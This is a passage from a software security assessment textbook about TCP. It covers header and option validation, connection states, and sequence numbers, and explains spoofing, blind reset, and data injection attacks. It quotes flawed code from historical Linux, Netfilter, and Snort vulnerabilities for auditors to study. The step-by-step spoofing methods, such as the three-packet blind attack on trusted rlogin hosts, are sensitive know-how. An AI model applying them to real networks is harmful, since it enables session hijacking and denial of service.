certain fields in the TCP header, and whether the sender wants to change the 

connection state. 
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 Window (16 bits) This field indicates the size of the window, which is an 

indicator of how many bytes the host accepts from its peer. It's resized 

dynamically as the buffer fills up and empties and is used for flow control. This 

size is specific to the connection that the TCP packet is associated with. 

 Checksum (16 bits) This field is a checksum of the TCP header and all data 

contained in the TCP segment. Several other fields are combined to calculate 

the checksum, including the source and destination IP addresses from the IP 

header. 

 Urgent pointer (16 bits) This field is used to indicate the location of urgent data, 

if any (discussed in "URG Pointer Processing"). 

Interested readers should familiarize themselves with TCP by reading the RFC 793, as 

well as Stevens's discussion on TCP in TCP/IP Illustrated, Volume 1 (Addison-Wesley, 

1994(? [????.])). 

Basic TCP Header Validation 

Naturally, every field in the TCP header has properties that have some relevance in 

terms of security. To start, a few basic attributes of the TCP packet, explained in the 

following sections, should be verified before the packet is processed further. Failure to 

do so adequately can lead to serious security consequences, with problems ranging 

from memory corruption to security policy violation. 

Is the TCP Data Offset Field Too Large? 

The TCP header contains a field indicating its length, which is known as the data offset 

field. As with IP header validation, this field has an invariant relationship with the 

packet size: 

TCP header length <= data available 

20 <= TCP header length <= 

 

The TCP processing code must ensure that there's enough data in the packet to hold 

the header. Failure to do so could result in processing uninitialized memory and 

potentially even integer-related vulnerabilities, when calculations such as this are 

performed: 

data_size = packet_size  tcp_header_size; 

 

If the tcp_header_size variable hasn't been validated sufficiently, underflowing the 

data_size variable might be possible. This will invariably result in out-of-bounds 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 876 

memory accesses or possibly even memory corruption later during processing, most 

likely when validating the checksum or dealing with TCP options. 

Is the TCP Header Length Too Small? 

The minimum size of a TCP header is 20 bytes, making certain values for the TCP data 

offset field too small. As with IP headers, if code analyzing TCP packets fails to ensure 

that the header length is at least 5 (again, it's multiplied by four to get the header's 

actual size in bytes), length calculations can result in integer underflows. 

Is the TCP Checksum Correct? 

The TCP stack must verify the checksum in the TCP header to ensure that the packet 

is valid. This check is particularly important for software that monitors network traffic. 

If an application is trying to determine how TCP packets are processed on an end host, 

it must be sure validate the checksum. If it fails to do so, it can easily be 

desynchronized in its processing and become hopelessly confused. This is a classic 

technique for evading IDSs. 

TCP Options Processing 

TCP packets can contain a variable number of options after the basic header, just like 

IP packets. However, IP options are rarely used in practice, whereas TCP options are 

used extensively. TCP options are structured similarly to IP options; they are 

composed of an option byte, a length byte, and a variable-length data field. The 

structure is as follows: 

struct tcp_option { 

    unsigned char option; 

    unsigned char optlen; 

    char data[0]; 

}; 

 

When auditing code that processes TCP options, you can look for the same types of 

problems you did for IP options. The following sections briefly recap the potential 

issues from the discussion of IP options processing: 

Is the Option Length Field Sign Extended? 

Sign extension of the option length byte can be dangerous and lead to memory 

corruption or neverending process loops. For example, two Polish researchers named 

Adam Osuchowski and Tomasz Dubinski discovered a signed vulnerability in 

processing TCP options was present in the 2.6 Netfilter implementation of the iptables 

TCP option matching rule in the Linux 2.6 kernel (documented at 
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www.netfilter.org/security/2004-06-30-2.6-tcpoption.html). The following is an 

excerpt of that code: 

char opt[60 - sizeof(struct tcphdr)]; 

 

... 

 

   for (i = 0; i < optlen; ) { 

       if (opt[i] == option) return !invert; 

       if (opt[i] < 2) i++; 

       else i += opt[i+1]?:1; 

   } 

 

An integer promotion occurs when adding the option length (which is of type char) to 

the integer i. The option length is sign-extended, and a negative length decrements 

i rather than incrementing it in each iteration of the loop. A specially crafted packet 

can, therefore, cause this loop to continue executing indefinitely (incrementing i by a 

certain amount of bytes and then decrementing it by the same amount of bytes). 

Are Enough Bytes Left for the Current Option? 

As with IP options, certain TCP options are fixed length, and certain options are 

variable length. One potential attack is specifying a fixed-length option near the end 

of the option space so that the TCP/IP stack erroneously reads kernel memory past 

the end of the packet contents. 

Is the Option Length Too Large or Too Small? 

The option length has an invariant relationship with the size of the TCP header and the 

total size of the packet. The TCP stack must ensure that the option length, when 

added to the offset into the header where the option appears, isn't larger than the 

total size of the TCP header (and, of course, the total size of the packet). 

TCP Connections 

Before two hosts can communicate over TCP, they must establish a connection. TCP 

connections are uniquely defined by source IP address, destination IP address, TCP 

source port, and TCP destination port. 

For example, a connection from a Web browser on your desktop to Slashdot's Web 

server would have a source IP of something like 24.1.20.30, and a high, ephemeral 

source port such as 46023. It would have a destination IP address of 66.35.250.151, 

and a destination port of 80 the well-known port for HTTP. There can only be one TCP 

connection with those ports and IP addresses at any one time. If you connected to the 

http://www.netfilter.org/security/2004-06-30-2.6-tcpoption.html
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same Web server with another browser simultaneously, the second connection would 

be distinguished from the first by having a different source port. 

States 

Each endpoint maintains several pieces of information about each connection it's 

tracking, which it stores in a data structure known as the transmission control block 

(TCB). One of the most important pieces of information is the overall connection 

state. A TCP connection has 11 possible states: 

 LISTEN When a process running on an end host wants to receive incoming TCP 

connections, it creates a new connection and binds it to a particular port. While 

the server waits for incoming TCP connections, that connection is in the LISTEN 

state. 

 SYN_SENT A client enters this state when it has sent an initial SYN packet to a 

server requesting a connection. 

 SYN_RCVD A server enters this state when it has received an initial SYN packet 

from a client wanting to connect. 

 ESTABLISHED Clients and servers both enter this state after the initial TCP 

handshake has been completed and remain in this state until the connection is 

torn down. 

 FIN_WAIT_1 A host enters this state if it's in an ESTABLISHED state and closes its 

side of the connection by sending a FIN packet. 

 FIN_WAIT_2 A host enters this state if it's in FIN_WAIT_1 and receives an ACK 

packet from the participating server but not a FIN packet. 

 CLOSING A host enters this state if it's in FIN_WAIT_1 and receives a FIN packet 

from the participating host. 

 TIME_WAIT A host enters this state if it's in FIN_WAIT_2 when it receives a FIN 

packet from the participating host or receives an ACK packet when it's in 

CLOSING state. 

 CLOSE_WAIT A host enters this state if it's in ESTABLISHED state and receives a 

FIN packet from the participating host. 

 LAST_ACK A host enters this state if it's in CLOSE_WAIT state after it has sent a 

FIN packet to the participating host. 

 CLOSED A host enters this state if it's in LAST_ACK state and receives an ACK, or 

after a timeout occurs when a host is in TIME_WAIT state (that timeout period is 

defined as the maximum segment life of a TCP packet multiplied by two). This 

state is a theoretical one; when a host enters CLOSED state, an implementation 

cleans up the connection and removes it from the active connection structures 

it maintains. 

These states are explained in more detail in RFC 793 

(www.ietf.org/rfc/rfc0793.txt?number=). 

http://www.ietf.org/rfc/rfc0793.txt?number=793
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State transitions generally occur when TCP packets are received that have certain 

flags set or when the local application dealing with the connection forces a change 

(such as closing the connection). If the application layer initiates a state change, the 

TCP/IP stack typically notifies the other endpoint of the state change. 

Flags 

Six TCP flags are used to convey information from one host to the other: 

 SYN The synchronize flag is used exclusively for connection establishment. 

Both sides of a connection must have this flag set in the initial packet of a TCP 

connection. 

 ACK The acknowledge flag indicates that this packet is acknowledging it has 

received some data from the other host participating in the connection. If this 

flag is set, the acknowledgement number in the TCP header is significant and 

needs to be verified or processed. 

 RST The reset flag indicates some sort of unrecoverable problem has occurred 

in a connection, and the connection should be abandoned. 

 URG The urgent flag indicates urgent data to be processed (discussed in more 

detail in "URG Pointer Processing" later in this chapter). 

 FIN The FIN flag indicates that the issuer wants to close the connection. 

 PSH The push flag indicates that data in this packet is high-priority and should 

be delivered to the application as quickly as possible. This flag is largely 

ignored in modern implementations. 

Of the six flags, three are used to cause state changes (SYN, RST, and FIN) and 

appear only when establishing or tearing down a connection. (RST can occur at any 

time, but the result is an immediate termination of the connection.) 

Establishing a Connection 

Establishing a connection is a three-part process, commonly referred to as the 

three-way handshake. An integral part of the three-way handshake is exchanging 

initial sequence numbers, covered in "TCP Spoofing" later in this chapter. For now, 

just focus on the state transitions. Table 14-4 describes the process of setting up a 

connection and summarizes the states the connection goes through. 

Table 14-4. Connection Establishment 

Action Client 

State 

Server 

State 

The server listens on a port for a new connection. N/A LISTEN 

The client sends a SYN packet to the server's open port. SYN_SENT LISTEN 

The server receives the packet and enters the SYN_RCVD SYN_SENT SYN_RCVD 
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Table 14-4. Connection Establishment 

Action Client 

State 

Server 

State 

state. 

The server transmits a SYN-ACK packet, acknowledging 

the client's SYN and providing a SYN of its own. 

SYN_SENT SYN_RCVD 

The client receives the SYN-ACK and transmits an ACK 

packet, acknowledging the server's SYN. 

ESTABLISHED SYN_RCVD 

The server receives the ACK packet, and the connection 

is fully established. 

ESTABLISHED ESTABLISHED 

 

 

Closing a Connection 

Connections are bidirectional, and either direction of traffic can be shut down 

independently. Normally, connections are shut down by the exchange of FIN packets. 

Table 14-5 describes the process. 

Table 14-5. Connection Close 

Action Client 

State 

Server 

State 

The client sends a FIN-ACK packet, indicating it wants to 

close its half of the connection. The client enters the 

FIN_WAIT_1 state. 

FIN_WAIT_1 ESTABLISHED 

The server receives the packet and acknowledges it. FIN_WAIT_1 CLOSE_WAIT 

The client receives the acknowledgement of its FIN. FIN_WAIT_2 CLOSE_WAIT 

The server now elects to close its side of the connection 

and sends a FIN packet. 

FIN_WAIT_2 LAST_ACK 

The client receives the server's FIN and acknowledges it. TIME_WAIT LAST_ACK 

The server receives the acknowledgement. TIME_WAIT CLOSED 

The client tears down the TCB after waiting enough time 

for the server to receive the acknowledgement. 

CLOSED N/A 

 

Note that connection termination isn't always this straightforward. If one host sends 

a packet with the FIN flag set, it's indicating a termination of the sending channel of 

the established TCP stream, but the hosts receiving channel remains open. Upon 
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receipt of a FIN, a host can send more data across the connection before sending a 

FIN packet of its own. 

Resetting a Connection 

Resetting a connection occurs when some sort of unrecoverable error has occurred 

during the course of connection establishment or data exchange. Resetting the 

connection simply involves a host sending a packet with the RST flag set. RSTs are 

used mainly in these situations: 

 Someone sends a SYN to establish a connection with a server, but the server 

port isn't open (that is, no server is listening on the specified port). 

 A TCP packet arrives at a host without the SYN flag set, and no valid 

connection can be found to deliver this packet to. 

TCP Streams 

TCP is a stream-oriented protocol, meaning that data is treated as an uninterrupted 

stream (as opposed to a record-based protocol, such as UDP). Streams are tracked 

internally by using sequence numbers, with each sequence number corresponding to 

one byte of data. The TCP header has two sequence number fields: sequence number 

and acknowledgement number. The sequence number indicates where in the data 

stream the data in the packet belongs. The acknowledgement number indicates how 

much of the remote stream has been received successfully and accounted for. This 

field is updated every time the host sees new data from the remote host. If some data 

is lost during transmission, the acknowledgement number isn't updated. Eventually, 

the peer notices it hasn't received an acknowledgement on the data it sent and 

retransmits the missing data. 

Each TCP endpoint maintains a sliding window, which determines which sequence 

numbers it allows from its peer. This window mechanism allows data to be saved 

when it's delivered out of order or if certain segments are corrupted or dropped. It 

also determines how much data the host accepts before having a chance to pass the 

data up to the application layer. For example, say a host is expecting the next 

sequence number to be 0x10000. If the host has a window of 0x1000, it accepts 

segments between 0x10000 and 0x11000. "Future" data is saved and used as soon 

as holes are filled when the missing data is received. 

Both sequence numbers are seeded randomly at the beginning of a new connection 

and then exchanged in the three-way handshake. The starting sequence number is 

called the initial sequence number (ISN). Here's a brief example of a three-way 

handshake and a simple data exchange. First, the client picks a random initial 

sequence number and sends it to the server. Figure 14-11 shows that the client has 

picked 0xabcd. 
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Figure 14-11. Transmit 1 

 

 

The server also picks a random initial sequence number, 0x4567, which it sets in the 

SYN-ACK packet. The SYN-ACK packet acknowledges the ISN sent by the client by 

setting 0xabce in the acknowledgment number field. If you recall, that field indicates 

the sequence number of the next expected byte of data. SYN and SYN-ACK packets 

consume one sequence number, so the next data you're expecting to receive should 

begin at sequence number 0xabce (see Figure 14-12). 

Figure 14-12. Receive 1 

 

 

The client completes the handshake by acknowledging the server's ISN. Note that the 

sequence number has been incremented by one to 0xabce because the SYN packet 

consumed the sequence number 0xabcd. Likewise, the client in this connection 

indicates that the next sequence number it expects to receive from the server is 

0x4568 because 0x4567 was used by the SYN-ACK packet (see Figure 14-13). 

Figure 14-13. Transmit 2 
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Now the client wants to send two bytes of data, the characters HI. The sequence 

number is the same, as the client hasn't sent any data yet. The acknowledgement 

number is also the same because no data has been received yet (see Figure 14-14). 

Figure 14-14. Transmit 3 

 

 

The server wants to acknowledge receipt of the data and transmit two bytes of data: 

the characters OK. So the sequence number for the server is 0x4568, as you expect, 

and the acknowledgement number is now set to 0xabd0. This number is used because 

sequence number 0xabce is the character H and sequence number 0xabcf is the 

character I (see Figure 14-15). 

Figure 14-15. Receive 2 

 

 

The client doesn't have any new data to send, but it wants to acknowledge receipt of 

the OK data (see Figure 14-16). 
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Figure 14-16. Transmit 3 

 

 

 

TCP Spoofing 

Sending TCP packets with arbitrary source addresses and content is fairly 

straightforwardtypically only a few lines of C code with a library such as libdnet or 

libnet. There are a few reasons attackers would want to send these type of TCP 

packets: 

 Attackers might want to fabricate a new connection purporting to be from one 

host to another. Plenty of software has access control policies based on the 

source IP address. The canonical example is something like rsh, which can be 

configured to honor trust relationships between hosts based on the source IP 

address. 

 If attackers know about a connection that's underway, they might want to 

insert data into that connection. For example, they could insert malicious shell 

commands into a victim's TELNET session after the victim has logged in. 

Another attack is modifying a file as a user downloads it to insert Trojan code. 

 Attackers might want to terminate an ongoing connection, which can be useful 

in attacking distributed systems and performing various denial-of-service 

attacks. 

TCP's main line of defense against these attacks is verifying sequence numbers of 

incoming packets. The following sections examine these attacks in more detail and 

how sequence numbers come into play in each scenario. 

Connection Fabrication 

Say you want to spoof an entire TCP connection from one host to another. You know 

there's a trust relationship between two servers running the remote shell service. If 

you can spoof a rsh connection from one server to the other, you can issue commands 

and take over the target machine. First, you would spoof a SYN packet from server A 

to server B. You can pick a sequence number out of thin air as your initial sequence 

number (see Figure 14-17). 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 885 

Figure 14-17. Transmit 1 

 

 

Server B is going to respond to server A with a SYN-ACK containing a randomly 

chosen initial sequence number represented by BBBB in Figure 14-18. 

Figure 14-18. Receive 1 

 

 

To complete the three-way handshake and initialize the connection, you need to 

spoof a third acknowledgement packet (see Figure 14-19). 

Figure 14-19. Transmit 2 

 

 

The first major obstacle is that you need to see the SYN-ACK packet going from server 

B to server A to observe the sequence number server B chose. Without that sequence 

number, you can't acknowledge the SYN-ACK packet and complete the three-way 

handshake. 
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Naturally, if you're on the same network so that you can sniff server B's packets, you 

won't have any problems learning the correct sequence number. If you aren't on the 

same network, and you can't hack the routing infrastructure to see the packet, you 

need to guess! This method is called blind connection spoofing (described in the next 

section). 

The second obstacle to this attack is that the SYN-ACK packet can potentially reach 

server A, and server A isn't expecting it. Server A likely generates a RST in response 

to the SYN-ACK, which messes up your spoofed connection. There are a few ways to 

work around this problem, so consider it a nonissue for the purposes of this 

discussion. 

Blind Connection Spoofing 

If attackers can't see the SYN-ACK packet the victim server generates, they have to 

guess the initial sequence number the victim server chose. Historically, guessing was 

quite simple, as many operating systems used simple incremental algorithms to 

choose their ISNs. 

A common practice was to keep a global ISN variable and increment it by a fixed value 

with every new connection. To exploit this practice, attackers could connect to the 

victim server and observe its choice of ISN. With some simple math, they could 

calculate the next ISN to be used, perform the spoofing attack, and know the correct 

acknowledgement number to spoof. 

Most operating systems moved to randomly generated ISNs to mitigate the threat of 

blind TCP spoofing. The security of much of TCP depends on the unpredictability of the 

ISN, so it's important that their ISN generation code really does produce random 

sequence numbers. Straightforward linear congruent pseudo-random number 

generators (PRNGs) doesn't cut it, as an attacker can sample several ISNs to reverse 

the internal state of the random number algorithm. 

Back in 2000, Pascal Bouchareine of the Hacker Emergency Response Team (HERT) 

published an advisory about FreeBSD's ISN generation, which used the kernel 

random() function: a linear congruent PRNG. After sampling four ISNs, an attacker can 

reconstruct the PRNGs internal state and generate the same sequence numbers as 

the target host. 

An Attack on Randomness 

There have been a couple of interesting discoveries related to the 

randomness of TCP sequence-numbering algorithms. Of particular note is a 

research paper made available by Michael Zalewski at 

www.bindview.com/Support/RAZOR/Papers/2001/tcpseq.cfm, which 

http://www.bindview.com/Support/RAZOR/Papers/2001/tcpseq.cfm


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 887 

discusses the relative strengths of random number algorithms some 

contemporary operating systems use. Although the versions tested are 

somewhat dated, the paper gives you a good idea how operating systems 

measure up against each other. (Additionally, even though some versions 

aren't so current, a lot of the ISN algorithms probably haven't changed a 

great deal.) The paper goes on to discuss PRNG strengths in other network 

components (such as DNS IDs and session cookies). 

 

 

ISN Vulnerability 

Stealth and S. Krahmer, members of a hacker group named TESO discovered a subtle 

blind spoofing bug in the Linux kernel, in the 2.2 branch of code. The following code 

was used to generate a random ISN: 

__u32 secure_tcp_sequence_number(__u32 saddr, __u32 daddr, 

                 __u16 sport, __u16 dport) 

{ 

    static __u32    rekey_time = 0; 

    static __u32    count = 0; 

    static __u32    secret[12]; 

    struct timeval     tv; 

    __u32        seq; 

 

    /* 

     * Pick a random secret every REKEY_INTERVAL seconds. 

     */ 

    do_gettimeofday(&tv);    /* We need the usecs below... */ 

   if (!rekey_time || (tv.tv_sec - rekey_time) 

       > REKEY_INTERVAL) { 

       rekey_time = tv.tv_sec; 

       /* First three words are overwritten below. */ 

       get_random_bytes(&secret+3, sizeof(secret)-12); 

       count = (tv.tv_sec/REKEY_INTERVAL) << HASH_BITS; 

   } 

 

   secret[0]=saddr; 

   secret[1]=daddr; 

   secret[2]=(sport << 16) + dport; 

 

   seq = (halfMD4Transform(secret+8, secret) & 

          ((1<<HASH_BITS)-1)) + count; 

 

   seq += tv.tv_usec + tv.tv_sec*1000000; 
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   return seq; 

} 

 

In the call to get_random_bytes(), the intent is to write random data over the last nine 

bytes of the secret array. However, the code actually writes the data at the wrong 

place in the stack, and the majority of the secret key is left always containing the 

value zero! This happens because the expression &secret is a pointer to an array with 

12 elements. From the discussion on pointer arithmetic in Chapter 6(? [????.]), 

remember that an integer added to a pointer type is multiplied by the size of the base 

data type, so &secret+3 is the address 36 elements past the start of secret. The 

author intended to use &secret[3], which correctly indexes the third element in the 

secret array. 

The impact of this oversight was that the sequence numbers were very close to each 

other if the source IP address was the only variable, allowing the TESO researchers to 

craft an ISN-guessing attack. 

Auditing Tip 

Examine the TCP sequence number algorithm to see how unpredictable it is. Make 

sure some sort of cryptographic random number generator is used. Try to determine 

whether any part of the key space can be guessed deductively, which limits the range 

of possible correct sequence numbers. Random numbers based on system state (such 

as system time) might not be secure, as this information could be procured from a 

remote source in a number of ways. 

 

 

Connection Tampering 

If attackers want to spoof TCP packets to manipulate existing connections, they need 

to provide a sequence number that's within the currently accepted window. If 

attackers are located on the network and can sniff packets belonging to the 

connection they are trying to manipulate, finding this number is obviously quite 

simple. From this position, attackers can easily inject data or tear down a connection. 

In more subtle attacks, they could hijack and resynchronize an existing TCP 

connection. 

However, if attackers can't see the packets belonging to the target connection, 

finding the sequence number is again more difficult. They need to guess a sequence 

number that's within the currently accepted window to have their spoofed TCP 

packets honored. 
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Blind Reset Attacks 

In certain situations, attackers might want to remotely terminate a connection 

between two hosts on outside networks. Certain protocols and applications can fall 

into behavior that's not secure or could be exploited if their TCP connections are torn 

out from under them. For example, there have been attacks against Internet Relay 

Chat (IRC) based on temporarily severing links between distributed servers to steal 

privileges to chat channels. Kids' games aside, a researcher named Paul Watson 

published an attack with a bit more gravity. The bullet point of his presentation was 

that resetting Border Gateway Protocol (BGP) TCP connections maliciously can lead to 

considerable disruption of routing between ISPs (archives of the presentation are 

available at 

www.packetstormsecurity.org/papers/protocols/SlippingInTheWindow_v1.0.doc). 

Attackers attempting to spoof a RST packet have a few things working in their favor. 

First, the RST packet just needs to be in the current window to be honored, which 

reduces the search for sequence numbers. Second, the RST packet is processed 

immediately if it's anywhere within the window, which removes any potential issues 

with stream reassembly or having to wait for a sequence number to be reached. 

Attackers need to know the source IP, source port, destination IP, destination port, a 

sequence number within the windowand that's about it. If the connection used a 

window size of 16KB, an attacker needs to send about 262,143 packets. Paul Watson 

was able to terminate connections by brute-forcing the sequence number at T1 

speeds in roughly 10 seconds. 

It's worth noting that many old operating systems, especially older UNIX systems, 

don't even check that the sequence number in the RST packet is within the window, 

making reset attacks extremely easy. In addition, the reset-inducing packet can be a 

SYN instead of a RST, as a SYN in the window causes an existing connection to be 

reset. 

Blind Data Injection Attacks 

A blind data injection attack is a slight superset of the blind reset attack. The attacker 

needs to provide an acknowledgement number as well as a sequence number. 

However, the verification of acknowledgement numbers is lax enough that only two 

guesses are usually needed for each sequence number trial. 

The full details of this attack and the blind reset attacks are outlined in the excellent 

draft IETF document Improving TCP's Robustness to Blind In-Window Attacks by R. 

Stewart and M. Dalal 

(www.ietf.org/internet-drafts/draft-ietf-tcpm-tcpsecure-05.txt). 

TCP Segment Fragmentation Spoofing 

http://www.packetstormsecurity.org/papers/protocols/SlippingInTheWindow_v1.0.doc
http://www.ietf.org/internet-drafts/draft-ietf-tcpm-tcpsecure-05.txt
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Michael Zalewski pointed out an interesting potential blind spoofing attack in a post to 

the full-disclosure mailing list (archived at 

archives.neohapsis.com/archives/fulldisclosure/2003-q4/3488.html). If attackers 

know that a TCP segment is fragmented as it traverses from one endpoint to another, 

they can spoof an IP fragment for the data section of the packet. This spoofing allows 

them to inject data into the TCP connection without having to guess a valid sequence 

number. Attackers need to come up with a mechanism to fix the TCP checksum, but 

that should prove well within the realm of possibility. 

TCP Processing 

So far, you've examined a few security issues in TCP code. The following sections 

describe some interesting corner cases and nuances in TCP processing to give you 

ideas where to look for potential vulnerabilities. 

TCP State Processing 

TCP stacks implement a complicated state machine that's highly malleable by outside 

actors. Studying this code can reveal subtle behaviors that might be useful to 

attackers. For example, operating systems have different reactions to unusual 

combinations of TCP flags. These reactions can lead to security-critical behaviors, 

which you examine in Chapter 15(? [????.])'s discussion of firewalls and SYN-FIN 

packets. You can also find many corner cases in TCP processing. For example, some 

operating systems allow data in the initial SYN packet, and some allow data segments 

without the ACK flag set. The following section has an example of a vulnerability that 

shows the kind of creativity you should apply to your inspection of TCP code. 

Linux Blind Spoofing Vulnerability 

Noted researcher, Anthony Osborne, discovered a subtle and fascinating bug in the 

Linux TCP stack related to connection state tracking (documented at 

www.ciac.org/ciac/bulletins/j-035.shtml). There were actually three vulnerabilities 

that he was able to weave into an attack for blindly spoofing TCP traffic from an 

arbitrary source. To follow this vulnerability, take a look at a simplified version of the 

tcp_rcv() function in the Linux kernel. 

int tcp_rcv() 

{ 

... 

    if(sk->state!=TCP_ESTABLISHED) 

    { 

        if(sk->state==TCP_LISTEN) 

        { 

            seq = secure_tcp_sequence_number(saddr, daddr, 

                             skb->h.th->dest, 

http://archives.neohapsis.com/archives/fulldisclosure/2003-q4/3488.html
http://www.ciac.org/ciac/bulletins/j-035.shtml
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                             skb->h.th->source); 

            tcp_conn_request(sk, skb, daddr, saddr, opt, 

                dev, seq); 

 

            return 0; 

        } 

        ... /* various other processing */ 

 

    } 

 

    /* 

     *    We are now in normal data flow (see the step list 

     *    in the RFC) Note most of these are inline now. 

     *    I'll inline the lot when I have time to test it 

     *    hard and look at what gcc outputs 

     */ 

 

    if (!tcp_sequence(sk, skb->seq, skb->end_seq-th->syn)) 

        die(); /* bad tcp sequence number */ 

 

    if(th->rst) 

        return tcp_reset(sk,skb); 

    if(th->ack && !tcp_ack(sk,th,skb->ack_seq,len)) 

        die(); /* bad tcp acknowledgement number */ 

 

    /* Process the encapsulated data */ 

 

    if(tcp_data(skb,sk, saddr, len)) 

        kfree_skb(skb, FREE_READ); 

} 

 

If the incoming packet is associated with a socket that isn't in TCP_ESTABLISHED, it 

performs a variety of processing related to connection initiation and teardown. What's 

important to note is that after this processing is performed, the code can fall through 

to the normal data-processing code in certain situations. This is usually innocuous, as 

control packets such as SYN and RST don't contain data. Looking at the preceding 

code, you can see that any data in the initial SYN packet isn't processed, as the server 

is in the TCP_LISTEN state, and it returns out of the receive function. However, after 

the SYN is received and the server is in the SYN_RCVD state, the code falls through and 

data is processed on incoming packets. So data in packets sent after the initial SYN 

but before the three-way handshake is completed is actually queued to be delivered 

to the userland application. 
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The attack Osborne conceived was to spoof packets from a trusted peer and provide 

data before completion of the three-way handshake. Attackers would first send a 

normal SYN packet, spoofed from a trusted peer (see Figure 14-20). 

Figure 14-20. Transmit 1 

 

 

Upon receipt of the SYN packet, the server enters the SYN_RCVD state and sends the 

SYN-ACK packet to the purported source of the SYN. Attackers can't see this packet, 

but as long as they act quickly enough, their attack isn't hindered. 

At this point, they know which sequence numbers are valid in the window for data 

destined for the victim host, but they don't know what the acknowledgement 

sequence number should be because they didn't see the SYN-ACK packet. However, 

look closely at the previous code from tcp_rcv(). The second nuance that Osborne 

leveraged is that if the ACK flag isn't set in the TCP packet, the Linux TCP stack 

doesn't check the acknowledgement sequence number for validity before queuing the 

data! So attackers simply send some data in a packet with a valid sequence number 

but with no TCP flags set (see Figure 14-21). 

Figure 14-21. Transmit 2 

 

 

Now attackers have data queued in the victim machine's kernel, ready to be delivered 

to the userland rlogind process as soon as the three-way handshake is completed. 

Normally, this handshake can't be completed without knowing or guessing the correct 

acknowledgement number, but Osborne discovered a third vulnerability that lets 
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attackers deliver the death blow. Usually, the userland process doesn't return from 

the call to accept() unless the handshake is completed. The following code shows the 

logic for this in tcp.c: 

static struct sk_buff *tcp_find_established(struct sock *s) 

{ 

    struct sk_buff *p=skb_peek(&s->receive_queue); 

    if(p==NULL) 

        return NULL; 

    do 

    { 

        if(p->sk->state == TCP_ESTABLISHED || 

            p->sk->state >= TCP_FIN_WAIT1) 

            return p; 

        p=p->next; 

    } 

    while(p!=(struct sk_buff *)&s->receive_queue); 

    return NULL; 

} 

 

Note that the kernel treats states greater than or equal to TCP_FIN_WAIT1 as being 

equivalent to ESTABLISHED. The following code handles packets with the FIN bit set: 

static int tcp_fin(struct sk_buff *skb, struct sock *sk, 

 

struct tcphdr *th) 

{ 

... 

   switch(sk->state) 

   { 

       case TCP_SYN_RECV: 

       case TCP_SYN_SENT: 

       case TCP_ESTABLISHED: 

           /* 

            * move to CLOSE_WAIT, tcp_data() already handled 

            * sending the ack. 

            */ 

           tcp_set_state(sk,TCP_CLOSE_WAIT); 

           if (th->rst) 

               sk->shutdown = SHUTDOWN_MASK; 

           break; 
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CLOSE_WAIT is greater than TCP_FIN_WAIT, which means that if attackers simply send a 

FIN packet, it moves the connection to the CLOSE_WAIT state, and the userland 

application's call to accept() returns successfully. The application then has data 

available to read on its socket: the data the attackers spoofed! In summary, the 

attack involves the three packets shown in Figure 14-22. 

Figure 14-22. Blind spoofing attack 

 

 

 

Sequence Number Representation 

Sequence numbers are 32-bit unsigned integers that have a value between 0 and 

2^32-1. Note that sequence numbers wrap around at 0, and special care must be 

taken to make this wrapping work flawlessly. For example, say you have a TCP 

window starting at 0xfffffff0 with a size of 0x1000. This means data with sequence 

numbers between 0xfffffff0 and 0xffffffff is within the window, as is data with 

sequence numbers between 0x0 and 0xff0. This flexibility is provided by the following 

macros: 

    #define    SEQ_LT(a,b)     ((int)((a)-(b)) < 0) 

    #define    SEQ_LEQ(a,b)    ((int)((a)-(b)) <= 0) 

    #define    SEQ_GT(a,b)     ((int)((a)-(b)) > 0) 
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    #define    SEQ_GEQ(a,b)    ((int)((a)-(b)) >= 0) 

 

It's worth taking a moment to study how these macros work around corner cases. 

Basically, they measure the absolute value distance between two sequence numbers. 

In general, if you see code operate on sequence numbers without using a similar type 

of macro, you should be suspicious. The next section describes an example. 

Snort Reassembly Vulnerability 

Bruce Leidl, Juan Pablo Martinez Kuhn, and Alejandro David Weil from CORE Security 

Technologies published a remotely exploitable heap overflow in Snort's TCP stream 

reassembly that resulted from improper handling of sequence numbers 

(www.coresecurity.com/common/showdoc.php?idxseccion=). To understand this 

code, you need a little background on relevant structures used by Snort to represent 

TCP connections and incoming TCP packets. The incoming TCP segment is 

represented in a StreamPacketData structure, which has the following prototype: 

typedef struct _StreamPacketData 

{ 

    ubi_trNode Node; 

    u_int8_t *pkt; 

    u_int8_t *payload; 

    SnortPktHeader pkth; 

    u_int32_t seq_num; 

    u_int16_t payload_size; 

    u_int16_t pkt_size; 

    u_int32_t cksum; 

    u_int8_t chuck;    /* mark the spd for 

                          chucking if it's 

                        * been reassembled 

                        */ 

} StreamPacketData; 

 

The fields relevant for this attack are the sequence number, stored in the seq_num 

member, and the size of the segment, stored in payload_size. The Snort stream 

reassembly preprocessor has another structure to represent state information about 

a current stream: 

typedef struct _Stream 

{ 

    ... members cut out for brevity ... 

 

    u_int32_t current_seq; /* current sequence number */ 

http://www.coresecurity.com/common/showdoc.php?idxseccion=10&idx=313
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    u_int32_t base_seq;    /* base seq num for this 

                       packet set */ 

    u_int32_t last_ack;    /* last segment ack'd */ 

    u_int16_t win_size;    /* window size */ 

    u_int32_t next_seq;    /* next sequence we expect 

                                to see  used on reassemble */ 

 

    ... more members here ... 

 

} Stream; 

 

The Stream structure has (among other things) a base_seq member to indicate the 

starting sequence number of the part of the TCP stream that is being analyzed, and a 

last_ack member to indicate the last acknowledgement number that the peer was 

seen to respond with. 

Now, for the vulnerability. The following code is used to copy data from a TCP packet 

that has been acknowledged by the peer. All variables are of the unsigned int type, 

with the exception of offset, which is an int. Incoming packets are represented by a 

StreamPacketData structure (pointed to by spd), and are associated with a Stream 

structure (pointed to by s). Coming into this code, the packet contents are being 

copied into a 64K reassembly buffer depending on certain conditions being true. Note 

that before this code is executed, the reassembly buffer is guaranteed to be at least 

as big as the block of data that needs to be analyzed, which is defined to be the size 

(s->last_ack s->base_seq). 

The following code has checks in place to make sure the incoming packet is within the 

reassembly windowthe sequence number must be in between s->base_seq and 

s->last_ack: 

   /* don't reassemble if we're before the start sequence 

    * number or after the last ack'd byte 

    */ 

   if(spd->seq_num < s->base_seq || spd->seq_num > s->last_ack) { 

       DEBUG_WRAP(DebugMessage(DEBUG_STREAM, 

                "not reassembling because" 

                " we're (%u) before isn(%u) " 

                " or after last_ack(%u)\n", 

              spd->seq_num, s->base_seq, s->last_ack);); 

       return; 

} 
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Next, a check is again performed to ensure the sequence number is past base_seq. It 

also makes sure the sequence number is greater than or equal to the next expected 

sequence number in the stream. One final check is done to verify that the sequence 

